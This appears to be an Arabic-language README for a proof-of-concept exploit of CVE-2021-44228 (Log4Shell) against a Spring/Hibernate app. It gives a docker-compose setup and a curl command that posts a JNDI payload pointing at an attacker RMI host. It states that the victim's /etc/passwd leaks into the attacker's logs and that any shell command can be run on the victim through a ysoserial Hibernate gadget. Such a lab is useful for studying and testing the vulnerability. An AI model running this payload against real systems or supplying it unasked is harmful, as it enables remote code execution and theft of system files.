
CVE-2021-44228 POC - Spring / Hibernate
يستخدم هذا الإثبات (POC) Spring / Hibernate، ومع ذلك يمكن استخدام نهج مماثل من rmi -> deserialization لتحفيز أي ثغرة في إزالة التسلسل.
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
يجب أن ترى محتويات ملف /etc/passwd للضحية تظهر في سجلات حاوية attacker.
يمكنك استبدال الأمر في خدمة exploit لتشغيل أي أمر شل على الضحية.
الضحية تشغل تطبيق starter spring app قياسي مع تبعيات "Spring Data JPA" (لـ Hibernate) و "Spring Web" و "H2" (كمخزن بيانات). تم إجراء تعديلين فقط على هذا الأساس
slf4j بـ log4j الضعيفجميع التبعيات محدثة. لا توجد أعلام سحرية مفعلة.
الضحية تعرض نقطة نهاية قابلة لـ POST على / والتي ستقوم بتسجيل الطلب.
يعتمد الاستغلال على شوكة (fork) من ysoserial باستخدام مولد الاستغلال Hibernate. لكي يعمل الاستغلال مع أحدث إصدار من Hibernate سنحتاج إلى إعادة ترجمة ysoserial.